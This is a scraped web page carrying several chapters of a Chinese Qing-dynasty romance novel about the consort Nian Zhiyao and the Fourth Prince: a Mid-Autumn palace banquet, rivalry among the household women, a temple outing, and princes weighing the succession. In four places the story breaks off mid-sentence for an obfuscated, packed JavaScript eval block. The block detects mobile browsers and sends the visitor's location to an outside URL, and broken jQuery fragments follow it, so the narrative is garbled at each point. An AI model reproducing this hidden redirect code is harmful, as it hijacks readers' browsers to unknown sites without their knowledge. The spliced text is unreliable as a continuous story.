年芷瑶刚走到垂花门,四爷便走了进来,看见她过来,便皱眉道:“怎么等在这儿,小心着凉。”
他不满地看向她身后跟着伺候的人。
白芨的腿一软,差点给四爷跪下了。
年芷瑶连忙拦着他:“是我要出来的,不关她们的事,我想快点见到爷嘛。”
四爷这才没罚了下去,只是道:“好生伺候你家主子。”
白芨心惊胆战:“是。”
年芷瑶冲白芨挥了挥手,让她先下去。
上茶的人换成了采芙,上完茶不敢多待,直接利索地下去了。
四爷看她:“日后不可再等在门口了,你身子弱,若是吹风着凉就不好了。”
年芷瑶一脸疑问,她看起来有这么弱不禁风吗,她日日都来一杯灵泉水的,身子说不得比四爷还好上一些呢。
四爷道:“爷才知道,你三岁时生了一场大病。”他抚了抚她的发:“虽说之后养了回来,但也要小心才是。”
年芷瑶看他,然后恍然,她看了看守在门外的苏培盛,小声道:“爷和二哥通信了。”
四爷笑道:“是,亮工说你身子不好,性子骄纵,让爷多担待些。”
年芷瑶一脸不信:“哥哥才不会这样说,爷定是骗我的。”
四爷抱着她,叹了口气:“你们兄妹之间倒是彼此了解,亮工说的是你从鬼门关里,之后又得家里宠溺,可从不骄纵,心地善良,若是你有什么做得不对,盼我好好教导,不要训斥于你。”
年芷瑶眼眶微红,她低头眨了眨眼,将泪意咽了回去,她哑声道:“二哥一直待我极好。”
“我记得那时我的病刚有起色,可还是不能出门,二哥便每日下学便去我屋子里,和我聊天解闷,给我讲外面的故事,还给我带不少新奇玩意过来。”
她的眸子发亮:“我每日最期待的便是二哥来找我的时间。”大哥虽也疼她,可当时他已娶妻,又忙着读书,陪她的时间自然少了些,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135725|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像二哥,两人年纪相仿,最是合得来。
四爷拍了拍她:“都过去了,以后爷定会多多带你出门。”
年芷瑶点头:“多谢爷。”她抬头看向四爷:“爷,这事告诉我,没关系吗。”
她知道四爷和二哥的信件必定是密信,毕竟如今两人还在避嫌呢,年家在夺嫡中偷偷站队,投靠了四爷,若是二哥因此事前程受了损,于他们都是损失。
四爷拍了拍她:“只是与你说说,无妨。”
瑶儿聪慧,知道他心中所想,许多事他也只敢在她面前多说一句。
她低头靠在四爷身上,家里不是没有庶出的女儿,却还是让她嫁了进来,就是为表诚意,如今年家和四爷算得是同一条船上的蚂蚱,自然是彼此交心。
四爷从前院过来的晚,看着她喝完了一盏燕窝,两人便洗漱上了床。
“中秋我也要进宫。”她有些吃惊,不由得坐起了身。
四爷看着她道:“今年是你头一年进府,也该前去亮亮相。”
年芷瑶眨了眨眼。
四爷揉了揉她的手,“可是担心。”
“倒也不是。”她满是信任:“有爷呢。”
只是上次进宫还是只见德妃一人,这次就要见到清朝最有名的皇家人了,她还是稍稍有些紧张在的。
四爷笑了笑:“是呢,有爷在这呢。”
他看了看瑶儿,可惜这几年京中因立太子的事气氛诡谲,若是早上几年,瑶儿还能去和别家的妯娌赏花聊天。
老五,老七闭门不出,就差头顶挂上我不掺和,都别找我这几个字了,他的其他兄弟倒都在跃跃欲试。
想到自己糟心的兄弟们,四爷也不禁叹了口气,他握了握瑶儿的手,天家兄弟,有时还不如的百姓家的情深呢。
他抱了抱怀中的人。
年芷瑶看他:“爷,可是有心事。”
四爷:“亮工与你之间的兄妹之情,实在让旁人羡慕。”
年芷瑶安慰似的拍了拍他:“爷还有我呢。”
四爷:“好在有瑶儿在。”
他笑了笑,又不知想到何处,叹道:“我们的孩子们,定也会像你和亮工这般感情好的。”
年芷瑶:“那,爷你努力?”
四爷看她。
年芷瑶默默地将被子盖在脸上,“爷,我说错话了。”
四爷:“不,瑶儿说得对,爷还是要更努力一些才是。”
他翻身将她压住。
年芷瑶:“爷,其实也不用这么努力的。”
四爷将她的手塞回被子里。
16. 第 16 章
门外,苏培盛看了白芨一眼,不禁叹道,“你倒是跟了个好主子。”
他从宫中就伺候主子爷,这么多年,看到最多的便是把奴才推出去抵祸的,能像年主子这般护着底下奴才的可不多见。
白芨露出一抹笑:“主子待我们确实是极好。”
只是她暗暗告诫自己,日后不可再给主子添麻烦。
临近中秋,府里的事情就越发多了起来。
年芷瑶正在跟着嬷嬷学习规矩,还是熟悉的白嬷嬷,熟悉的配方。
她客气道:“又要辛苦嬷嬷了。”
白嬷嬷笑得和善可亲,“侧福晋聪慧灵巧,并不需要多费什么工夫。”
年芷瑶笑了笑,并未把奉承的话放在心上,只要四爷一日对她的宠爱依旧,这嬷嬷便会对她客气一日。
说道规矩,其实她上次学的也还没忘了,只是到底这次到底是宫宴,不比上次进宫,只是见了娘娘,自然得多做一些准备。
白嬷嬷看了侧福晋一眼,她也不全是恭维奉承,毕竟眼前的这位侧福晋容貌出众,家世又好,按理来说再骄纵些也没什么,但这几次相处下来,她发现年侧福晋倒是有一副好性子。
不是说侧福晋性子软不像个主子,而是她性子好,观之可亲。
她在宫里见多了妃嫔娘娘,若是性子不好,那即便长得再美,路也走不太远,别说宜妃娘娘嚣张跋扈,她在宫里可没听说宜妃欺人的话,要说跋扈那也是跋扈到万岁爷心里去了。
更何况她敢打包票四爷不喜跋扈的。
她倒是很看好这位侧福晋,即使不做什么,与这位交好也不是什么坏事,花花轿子众人抬嘛。
她轻声说:“侧福晋,这里要微微弯膝,以示尊敬。”
乾清宫,康熙困倦地揉了揉眼,如今他的眼睛越发不好了,折子看不了一刻,便要停下来歇歇。
他看向桌子上的摆件:“这是老八送来的。”
梁九功低头:“是。”
“他倒是有心。”
桌子上的是上好的和田玉,雕刻着南极仙翁乘鹤的图案,寓意长寿吉祥,别说如此大的好玉并不多见,就是说这雕工,精妙绝伦,定找了不少能人巧匠雕刻的,如此费心,说句孝顺也不为过。
可梁九功低头不语,在万岁身边伺候,头一个要学的就是闭上嘴。
索性也康熙也不需要他的回话,他道:“朕老了,儿子们倒是都长大了。”
梁九功哪敢附和,只能道:“万岁如今正是龙虎精神。”
他抬出二十三阿哥,二十三阿哥是万岁今年新得的儿子,万岁当时龙颜大悦,下旨大办了阿哥的满月。
想到自己的小儿子,康熙有些担忧,将来继位的儿子真能照看好这些个弟弟吗。
前头康熙的心思暂且不表,雍亲王府倒是得了一个好消息。
年芷瑶看向四爷:“赐名?”
四爷点头:“皇阿玛给四阿哥和五阿哥都赐了名字,四阿哥叫弘历,五阿哥叫弘昼。”
年芷瑶笑了笑,“这倒是好事,我记得库房里有几块好砚,送去给两位妹妹吧,也算是贺一贺她们的喜事。”
白芨:“是。”
四爷道:“爷记得那几块砚是你的嫁妆,都是上好的端砚,怎么这么快就送出去了。”
“几块砚而已,难道我是这么小气的人嘛,两个阿哥快要开蒙了,也算是物尽其用。”
她冲四爷笑道:“况且爷又不会委屈我。”
四爷点了点她:“真是赖上爷了,等过几日,爷给你几块更好的。”
年芷瑶笑意不减,给他的儿子送东西当然要当着他的面送啦,不然没人领情怎么办。
她看了看四爷,“爷是有什么心事吗。”怎么看着不是那么高兴啊。
四爷微微叹气,“皇阿玛是想给二十三弟起名的。”
他话没说完,年芷瑶却明白了,顺带着的,总归有些不是滋味两分。
她道:“二十三阿哥?我记得二十三阿哥如今才不到半岁吧。”
怎么就起名了,她记得清朝阿哥起名字都晚,一般都等到确定能长成才会起名排续齿的。
四爷:“皇阿玛年纪大了,宠爱小儿子也是寻常之事。”
只是四阿哥五阿哥年纪还小,此次中秋他本不准备带四阿哥五阿哥去宫里的,如今既赐了名字,怎么也得带两个阿哥去。
年芷瑶安慰他道:“这也是人之常情,谁的孩子谁疼。”她轻声说:“万岁也疼爷不是吗。”
四爷叹了口气,是啊,皇阿玛也曾这样为他这样细细打算过。
他看向瑶儿:“后日便是中秋,到时你先去永和宫,娘娘喜欢你,跟着娘娘便是。”
他与娘娘的情分虽浅,但到底是亲母子,不会为难瑶儿的。
至于福晋,她再是不满,也会端好嫡福晋的架子,对她来说,没什么比福晋这个名头更重要了。
年芷瑶:“爷放心吧。”
她的眼里漾起笑意,他都这般为她打算了,她还有什么好担心的。
四爷揉了揉她的手。
西院
李氏不可置信地看着碧珠:“你说什么。”
碧珠连忙跪下,“福晋,福晋说,中秋府里事多,让主子留在府里看家。”
李氏瞪大了眼,在府里看家,那就是不让她进宫的意思了。
她的手用力地捏住桌角,到底是谁在从中作梗,是年氏,还是福晋。
碧珠望着李氏的眼神,心中一颤,怕她做出什么傻事,连忙劝道:“主子,您消消火,这事定是福晋自作主张,若不我们去前院问问主子爷。”
李氏却突然明白了,她身子一软,倒在了椅背上,福晋这么小心谨慎的一个人,若不是有爷的授意,怎么敢这么对她说。
这一刻,年氏和福晋的身影,都淡了出去,唯有四爷,她想到四爷的怒火和警告,四爷如今连中秋宫宴都不让她去,是不是已经厌了她了。
中秋当天,年芷瑶又被迫早起,虽中秋参加的是晚宴,下午进宫便好,但光是上妆,梳洗,穿吉服就耽误了近两个时辰,实在太过费事。
用过午膳,她正喝着茶水醒神,白芨提醒她道:“主子少喝些水,免得进宫后不方便。”
又在荷包里给她装了些肉脯和松子糖,“奴婢听说宫宴会上的菜色都不好,主子可别饿着。”
年芷瑶笑意盈盈地道:“白芨越发能干了。”
白芨低头一笑,“都是白嬷嬷教的。”
年芷瑶收拾好便去了正门,福晋已经到了,她上前两步给福晋行了礼。
福晋还是一如既往的庄重,“妹妹起来吧。”
年芷瑶看着福晋身边的四阿哥五阿哥,因钮祜禄氏和耿氏没资格进宫,两个阿哥便交给了福晋照看。
小阿哥们上前行礼:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135726|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给年额娘请安。”
年芷瑶对他们笑了笑,“快起来,不必多礼。”
她与福晋分别上了马车,等前头四爷嘱咐两句,便开始出发了。
等进了宫门,她和四爷便分开了,他带着三阿哥去前殿,而她则跟着福晋去了永和宫。
四爷看了她和福晋一眼,没再嘱咐什么,只是摸了摸四阿哥和五阿哥的头,让福晋好生照看。
年芷瑶松了一口气,若是四爷真在福晋面前对她说什么,那她真的会晃一晃四爷的脑袋,看看里面是不是装的都是水。
踏入永和宫的院子,映入眼帘的还是熟悉的福嬷嬷。
福嬷嬷笑着走来,冲她和福晋行礼。
一进永和宫的大门,年芷瑶便觉得周围传来了若有若无的视线。
她恍若不知,低头跟着福晋上前给德妃行礼。
德妃和善道:“都起来吧。”
她看向两个阿哥,“这就是四阿哥和五阿哥吧。”
福晋:“是。”她推着两个阿哥上前行礼。
德妃和四爷的母子虽关系有些尴尬,但对两个阿哥倒是热情不少,直接让他们坐在她的身边,又递了果子给两个阿哥吃。
一旁的成嫔奉承道:“娘娘有两个阿哥承欢膝下,可真令人羡慕。”
德妃:“我只盼着孩子再多些才是。”
福晋低下了头,她是福晋,府上的孩子少,那就是她的责任。
成嫔笑道:“娘娘急什么,孩子都是一个带一个的,四阿哥五阿哥年岁相仿,必定多引来几个阿哥的。”
德妃笑了起来,“你惯是会逗我开心。”
年芷瑶看了环视了一圈,来之前白嬷嬷给她说过宫里的情景,七阿哥的生母成嫔一直住在永和宫的后殿,和德妃关系还算不错。
刚才说话的宫装妇人,想必就是成嫔了,只是她与德妃年纪相仿,却比德妃要显年纪得多。
坐在成嫔下面的应该是住在永和宫的贵人,常在之流。
右侧便是福晋们坐的位置了,四福晋下面依次是七福晋,十三福晋,十四福晋。
永和宫的正殿不大,可人却是不少,年芷瑶行过礼便跟着退了出来,被人引去了一旁的偏殿,坐着的都是几个府上的侧福晋。
看见她来,几人便起身见礼,她看了一眼,只有两人,一个年长些,一个年轻些,她转念一想,便有些明白了,十三福晋和十三爷的感情好,想必是没带侧福晋过来。
现在只有七爷和十四爷的侧福晋在这。
她在看她们,她们也在看她。
十四爷的侧福晋是舒舒觉罗氏,她言笑晏晏地道:“早就听说四嫂貌美,如今一看果然有沉鱼落雁之姿,刚才一见,差点把妹妹都看呆了。”
年芷瑶冲她笑了笑:“弟妹也是花容月貌,肤若凝脂,可有什么保养的方子吗。”
舒舒觉罗氏的笑僵了僵,抬头摸了摸敷了厚粉的脸。
她虽比那拉氏年少些,但毕竟年纪摆在那,又生了孩子,哪比得上年氏这般二八年华的容貌。
但看着年氏真心实意地笑容,她又有些不确定,于是在一旁坐了下来。
七爷的侧福晋那拉氏松了一口气,这舒舒觉罗氏总算是不说话了,不然听她夹枪带棒真令人不舒服。
她对着年芷瑶笑了笑。
年芷瑶也对她一笑,别人对她客气,她自然也愿意给她面子。
17. 第 17 章
每年中秋的时候皇上都要带着后宫妃嫔祭月,以求来年社稷平安,风调雨顺。
只是她们这些小辈是不用去的,只是在前头送了送德妃,便又各自回了自己的地方待着。
回了偏殿,年芷瑶百无聊赖地看着四周,本就无聊的日子,和不熟的人坐在一块更无聊,晚宴什么时候开始啊,什么时候能回去睡觉啊。
那拉氏不免观察起了这位年侧福晋,从刚一进门她就发现年氏长得极美,即便今日进宫穿的都是同样的吉服,还是会让人第一眼注意到。
这般相貌,即便是宫里,恐怕也就只有良妃娘娘能与之相比了,只是美人多薄命,希望这年氏能有一番好运气。
年芷瑶注意到那拉氏的眼神,朝她看了过来。
那拉氏笑了笑:“四嫂腕子上带的可是十八子。”
年芷瑶微晃手腕,露出了碧玺带翠饰十八子,“是呢,弟妹可要细看。”
这是四爷前几日送过来的,她看着好看,又和她的朝珠相配,就带了出来。
那拉氏推辞:“不了,四嫂肤白,戴着好看极了。”
舒舒觉罗氏看过来后不免有些眼红,这般品相的碧玺可不多见,尤其是中间两颗的翠绿欲滴的翡翠,更是难得。
她想说几句酸话,可又有些怕年氏直接顶回来。
这年氏看着柔柔弱弱的,这性子倒是不软,她想到整日里端庄肃穆的四福晋,有些幸灾乐祸,日后这四爷府怕是有热闹可看了。
舒舒觉罗氏不开口,年芷瑶和那拉氏便聊了起来,两人就着各家宗室的八卦聊了一聊,倒觉得时间没那么难熬了。
等小宫女端着月饼进了偏殿,年芷瑶便知道前头结束了。
她意思意思地尝了一口,嗯,中规中矩的五仁馅,算不上好吃,但也不是很难吃。
这就是大锅饭的威力吗,即便是御厨,做这么多人份的月饼也不会好吃了,不过话又说回来,她们真的能吃到御厨做的月饼吧,这些不会是学徒做的吧。
吃着平平无奇的月饼倒是让她想起了之前芋泥蛋黄酥,流沙的芋头配上咸沙的蛋黄,一口咬下去,幸福得不得了,只是不知道现在有没有荔浦芋头,真的很好吃啦。
等吃过月饼,就要开宴了。
四爷和三阿哥在前殿大宴,她们在永和宫开小宴,德妃坐在了上首,等万岁那边传来开宴的信号,听过圣颂,这边才开始动筷子。
吃过宴席的都知道,这些菜都是个花样子,看着好看,实则都是提前做出来的,早就凉透了。
年芷瑶只随便尝了两筷子凉菜,还得配合着周围人的敬酒。
等最后看完烟花,年芷瑶觉得这中秋晚会比当年做社畜陪酒还累,唯一好一点的就是没有中年油腻男人对她揩油。
她跟在福晋身后出了宫门。
早早等在宫门外的白芨伸手扶住了她。
福晋看着也有些累着了,没再多说什么,两人各自上了马车。
也是,她只需和侧福晋们坐在一起,福晋还得在前头应承着德妃等人,自然不比她轻松。
过了一会儿,四爷也出来了,他先去看了看福晋和两个孩子。
又走到年芷瑶马车前:“可还好。”
年芷瑶冲他笑笑:“还好。”
四爷冲她点了点头,而后翻身上了马,挥手道:“回府。”
年芷瑶同情地看他一眼,刚才四爷一过来她就闻到了他身上的酒味,只是即便这样也不好直接坐马车,着实是惨了些。
回到东院的第一件事就是卸下钗寰,感受到头皮一松,她才觉得自己活了过来。
年芷瑶:“小厨房可还有火,让他们做碗面送过来。”实在是太饿了,她觉得现在能吞下一头牛。
白芨道:“都没敢熄火呢,主子还想吃什么,让他们做了便是。”
年芷瑶想了想:“要个牛肉面,再拌上两个凉菜便是。”
她看向四爷:“爷吃不吃。”
四爷顿了顿,说了句:“好。”
年芷瑶:“再做碗醒酒汤过来。”
白芨:“是。”
面送来得很快,熬了一整天的大骨头,配上筋道弹牙的面条,年芷瑶一口气先吃了半碗,之后才尝了尝几个凉菜。
四爷眼含笑意:“宫宴上的菜有这么难吃吗。”
年芷瑶重重点头:“有。”
四爷不免笑了起来:“你倒是实诚。”
大宴上的菜色难吃的人尽皆知,但真的说出来地没有几个。
年芷瑶好奇道:“爷不觉得难吃吗。”
四爷想着刚才皇阿玛让老八下来敬酒,又想到老十三郁郁的神情。
他叹了口气道:“爷都没注意。”没心思吃菜怎么会注意到菜难吃与否呢,只觉得一晚上灌了不少酒,胃里沉甸甸的难受。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135727|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若不是有瑶儿的面,只怕这一晚上难熬得很。
吃过宵夜,两人又重新漱了口,这才双双躺在了床上。
年芷瑶悄悄从被子里伸出手,与他十指相扣,“爷,很辛苦吧。”
她说的语焉不详,四爷也懂她的意思。
他起身看她,“别担心。”
年芷瑶对他笑了笑。
四爷捏了捏她的手,“快睡吧。”
年芷瑶点头,放缓了呼吸,很快就进入了梦乡。
四爷听着枕边人的呼吸逐渐平稳,想来瑶儿早就累了,撑到现在也只是为了他。
他心头不由得发软,只是却迟迟不能入睡。
第二天一早,白芨听见动静过来,笑道:“主子醒了。”
年芷瑶伸了个懒腰,“什么时辰了。”
白芨道:“巳时过半了。”
年芷瑶眨了眨眼,怪不得睡得这么舒服,原来已经十点了啊。
白芨:“主子可要用早膳。”
“等一会吧。”昨晚刚吃了夜宵,现在还不饿。
“是。”白芨退了下去,只是没一会,又带了几样点心过来,“这是膳房新进的糕点,主子可要尝尝。”
年芷瑶笑着看她:“白芨越发贴心了。”
只是午膳时,没等到过来用膳的四爷,倒是等到二格格身边的人来了东院。
来人自称王嬷嬷,三十许人,想必是二格格的奶嬷嬷了。
她开口道:“我们格格新得了一道玫瑰花露的方子,说是女子多有好处,便想着送来给府里的各位主子一份,这份是侧福晋的。”
她打开一个精巧的盒子,里面是两个琉璃瓶,想必里面装着的就是所谓的玫瑰花露了。
年芷瑶笑道:“我进府晚,一直未曾见过郡主,劳烦郡主还想着我,还请替我多谢郡主。”
王嬷嬷:“侧福晋客气了。”她微微一福:“奴婢就不打扰侧福晋了。”
年芷瑶:“白芨,去送送王嬷嬷。”
看王嬷嬷走远,白芍不解道:“主子,您说二格格好端端地干嘛来送玫瑰花露啊,您又不缺这个。”
“还能做什么,送花露是假,来看你主子我才是真。”
年芷瑶指了指自己:“娘家新来一个侧福晋也就罢了,这人还把自己亲额娘挤得没地站了,要你你不急啊。”
“促狭。”四爷笑着走了进来。
18. 第 18 章
四爷走了进来,说了她一句:“促狭。”
年芷瑶连忙起身将他迎到座位上,伸手给他捶起了肩:“爷怎么过来了。”
四爷故作深沉地看了她一眼。
年芷瑶笑得越发讨好。
四爷拿她没办法,“行了,坐吧。”
年芷瑶顺势坐了下来,看着四爷手里的琉璃瓶子,“爷知道二格格东西过来了。”
“苏培盛告诉过爷。”
女儿的小心思他不是不懂,只是到底是自己孩子,他也就没说什么。
没承想刚进来就听到瑶儿说那番话,什么叫挤得没地站了,那是亲王侧妃该说的吗,他点了点她。
年芷瑶心虚地冲他笑笑,本来就是玩笑话,谁能想到还让他给听见了。
四爷放下瓶子:“收起来吧,回头爷给你更好的。”
年芷瑶抱住了他:“爷,你真好。”
四爷:“惯会撒娇。”
苏培盛十分有眼色地带着人退了下去,早就想走白芍连忙跟上。
“在主子身边伺候,日后可不能这么莽撞。”苏培盛看了看屋里头四爷和侧福晋的影子贴地越发近了起来,他也有意卖年主子的身边人一个好。
白芍低头:“多谢苏爷爷提点。”
可吓死她了,下次她说话一定得看看四爷来没来。
正院
福晋把玩着二格格送来的玫瑰花露,“她倒是有心。”
赵嬷嬷笑道:“自从年侧福晋来了之后,李侧福晋连四爷的面都见不到了,连带着三阿哥都受了训斥,那位自然跟着着急。”
福晋扯了扯嘴角:“自己不成就找三阿哥,三阿哥不成就找二格格,孩子多就是好啊。”
赵嬷嬷看了福晋一眼,怕惹出福晋的伤心事,不敢再搭话。
“年氏。”福晋默默地念着这个名字,年氏貌美,阿玛官职又高,能得宠是应有之事,但她能做到这份上也是她没想到的。
之前四爷再宠爱李氏,也没做到像现在这般不碰其他人的,只是女子再多宠爱都是虚的,孩子才是真的。
福晋将玫瑰花露的盖子盖好,“拿下去吧。”
牡丹:“是。”
赵嬷嬷摆了摆手,牡丹便明白了她的意思。
牡丹端着精美的木盒下去,这玫瑰花露连库房都不必放,随便处理了便是,也是,当时二格格在府里时,没少仗着自己的身份背后给福晋上眼药,她们母子沆瀣一气的时候占尽了便宜。
如今倒服了软,送个花露还特意提了句年侧福晋那只得了两瓶,正院这送来了四瓶,牡丹面露不屑,现在知道以福晋为尊了,早干嘛去了。
东院的晚膳准备得尤为丰盛,昨儿个主子们都进了宫,只剩李侧福晋伴着几个格格在府里用。
大厨房的人看碟下菜,也就随意整治了一桌子席面。
今日却不同,年侧福晋得宠,四爷又在东院用,大厨房从一早便开始忙了起来,二十四道热菜,八道凉菜,汤品,主食,甜品一个不落,摆了满满一桌子。
因年芷瑶今早说了一句想吃月饼,于是光月饼就上了八种。
常见的京式月饼做了五仁,山楂,豆沙,八宝四种馅,另外还有翻毛月饼,类似于现代的苏式月饼,月饼外面有一层层薄薄的酥皮,做了枣泥、盐椒、桂花、鲜肉四种馅。
她尝着味道都还不错,便一样都吃了一点,又加上菜色实在是多,成功地让自己吃撑了。
白芨连忙要了一些消食丸过来。
年芷瑶吃上两颗,又看了看四爷皱着的眉头。
她笑了笑,牵着他的手:“爷,晚上我们去赏月吧。”
说完,不等四爷回应,便把他拉走了。
苏培盛紧张的脸皮抽了抽,又不敢拦着年主子,抬眼一看,果然四爷配合得很。
他心中暗叹,真是年侧福晋的胆子真是够大的,他敢保证,整个后院里都找不出第二个敢这般对待主子爷的,别说是王府里,就是外头,怕是也没人敢。
院子里早早准备好了茶水点心,年芷瑶不喜欢半夜喝茶,又让他们换成了果酒。
正逢佳节,饮上两杯也是应景嘛,虽说昨儿个才是真正的十五,可当时挤挤挨挨的只觉得难熬了,如今和四爷站在一块,才有种过节的感觉。
她望着头顶上圆圆的月亮,想到她在现代一个人过中秋时,月光也是如此的明亮,这可真是今人不见古时月,今月曾经照古人了。
她微微叹了口气。
四爷看向她,“怎么?”
年芷瑶看他:“有些想额娘了。”
这倒是实话,比起她在现代时的父母,还是如今的阿玛额娘让她感受到了亲情的存在,这是她离开年府过得第一个中秋,自然想念在家的日子。
四爷:“等过些日子,爷让人接年夫人来府里坐坐。”
年芷瑶慢慢靠向四爷,“爷,你对我这么好,我以后要是离不了你了该怎么办啊。”
“傻话。”
九月的天气正好,四爷带着她出了府。
算是履行之前说带她出门玩的承诺。
年芷瑶乘上了出府的马车,好奇问道:“爷,我们去哪呀。”
四爷:“等到了你就知道了。”
年芷瑶挑眉看他,怎么还保密起来了。
刘四从他爹那辈就在京城的前门大街卖羊肉烧饼,算起来也有五十年了,听他爹说,他小时候还见过刚登基时的万岁爷呢,这话他是不信,可信不信的,也不耽误他丑时就起来做烧饼。
他家羊肉汤十五文一碗,烧饼两文钱,一碗汤两个烧饼差不多能让家里的男人吃饱,比起旁边十文钱一大碗的素面,算不上实惠,但好歹有点荤腥,口袋里有几个钱的老爷们都也喜欢来他这吃。
因摊子在出城的必经路上,他也算看了不少热闹,就比如说今日路过的这辆马车,一看就是达官贵人的,普通人家可养不起这么贵的马。
旁边喝汤的人看着马车过来,特意端着碗往旁边稍了稍:“今儿个这是哪位爷出来了。”
“依我看定是个王爷。”说话人算是有点见识,他指了指体型粗壮的马匹:“这拉车的马可都是蒙古马,都是前头进贡的,除了那边的。”他往上指了指,“没几个人有。”
喝汤的老汉听得出了神,只觉得碗中的羊肉都更香了些。
年芷瑶听着外头热闹的叫卖声和冲入鼻尖的香气,忍不住将帘子半开,早上虽用过早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135728|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膳,但这街边的香气实在太过霸道。
就像没有人拒绝小学门口的炸串摊子一样,明知道不健康,却仍旧忍不住诱惑。
四爷看她:“怎么了。”
年芷瑶:“好香呀。”
“想吃什么等回府让厨子给你做,外面的不干净。”
年芷瑶眼巴巴地看着他。
四爷无奈,“去买份糖炒栗子。”
栗子难扒,她也能少吃点。
苏培盛利索地下了车。
马车往西北方向缓慢驶去,等人少了些,年芷瑶便掀开马车的帘子,看向四周的风景一点点地在眼前掠过,心里放松了许多。
四爷也不打扰她,等到了地方,才扶着她下了马车。
她瞧了一眼牌匾,念道:“万寿寺。”
原来是寺庙,在年府时,她也常常跟着额娘来寺庙礼佛,虽然她不喜礼佛,但这是未婚女子唯一能正当出门的缘由了,是以她每次都十分珍惜。
额娘更喜欢去潭柘寺,这万寿寺倒是头一次来,她瞧了瞧里头,一个香客也没有,想来是提前清了场,也是,四爷好歹是王爷,该有的场面还是要有的。
四爷道:“这里的斋饭不错,等午膳时你尝一尝,附近还有聚集的街市,等午后,爷带你去逛一逛。”
年芷瑶眼睛亮的发光:“真的吗。”
四爷:“爷还会骗我不成。”
年芷瑶牵住他的手:“自然不会,爷最好了。”
四爷笑着看了她一眼,因是便服出行,今日的瑶儿并未梳旗头,而是梳起了汉家女子的发髻,显得她年岁越发小了起来。
九爷策马到了十爷府里,门口的小太监早早就认出了九爷的马,一边让人去府里通报,一边殷勤伺候。
“爷您来了。”
九爷一挥手将马鞭扔给小太监,问道:“老十呢。”
“王爷正在书房呢。”
九爷一听王爷这两个字就头疼,前几年老爷子大封诸子,前头几个哥哥就不说了,可封了八哥为廉郡王,封了老十为敦郡王,只有他被封了贝勒。
他不满地啧了一声。
刚走到书房,十爷就迎了出来,“怎么来我这了。”
九爷:“怎么,我这个做哥哥的不能来。”
十爷一看他这样,就知道他心里又憋着气,只是他脾气好,一般不与老九生气,只笑道:“怎么会。”
九爷一屁股坐在了书房的椅子上,他们俩年岁相近,从小就在一起玩,在老十这和他自己府里差不多了。
“这么好的天气,你就在家待着啊。”
十爷不解问:“不然去哪。”
九爷笑:“当然是和四哥一起去万寿寺。”
十爷:“四哥去了万寿寺?你怎么知道的。”
九爷:“小爷自有办法。”说来也就是巧,昨日他奶母的兄弟就在万寿寺,四爷的人去传话,被他瞧见了,一打听便知明日雍亲王会带着侧福晋过来。
九爷放下茶杯,“你说如今这形势,四哥还真能做起富贵闲人来了,带着侧福晋游园子,上佛寺的,他就坐得住。”
十爷看了他一眼,四哥怎么样不好说,可看老九这样,想来是坐不住了。
19. 第 19 章
十爷瞧了他一眼,他的额娘早逝,不比老九,上头有得太后抚养的五哥,又从小长在宜妃身边,养成了一副冲动的性子。
他道:“九哥,你这般不喜四哥,是想做什么。”
九爷愣了愣,想做什么,他一向看不惯老四一副假道学的模样,都是龙子凤孙,说自己没点心思谁信啊。
可让他真的做什么,他又有些不敢,前太子可是从襁褓中就被册立,是告过天祭过地的,可还不是被拉下来了,换成他,就能行吗,怎么可能,他还没狂妄到那份上。
十爷叹了口气:“既然如此,你跟着瞎掺和干啥,九哥,弟弟劝你一句,还是离八哥远些吧。”
他和老九关系最好,可和八哥一起不过是因他同老九走得近,往日也就罢了。可如今几个哥哥都坐不住了,他又没这份心思,做个富贵王爷岂不是更好,皇阿玛又不会亏了他。
八哥怎样那是他的事,成了是他的本事,若是不成,他们哪个能逃得过新帝清算?
九爷默不作声。
年芷瑶随四爷进了寺庙,既然来了,也不能不拜,她看四爷一脸肃穆,也跟着认真地求了一求,愿这辈子能长命百岁。
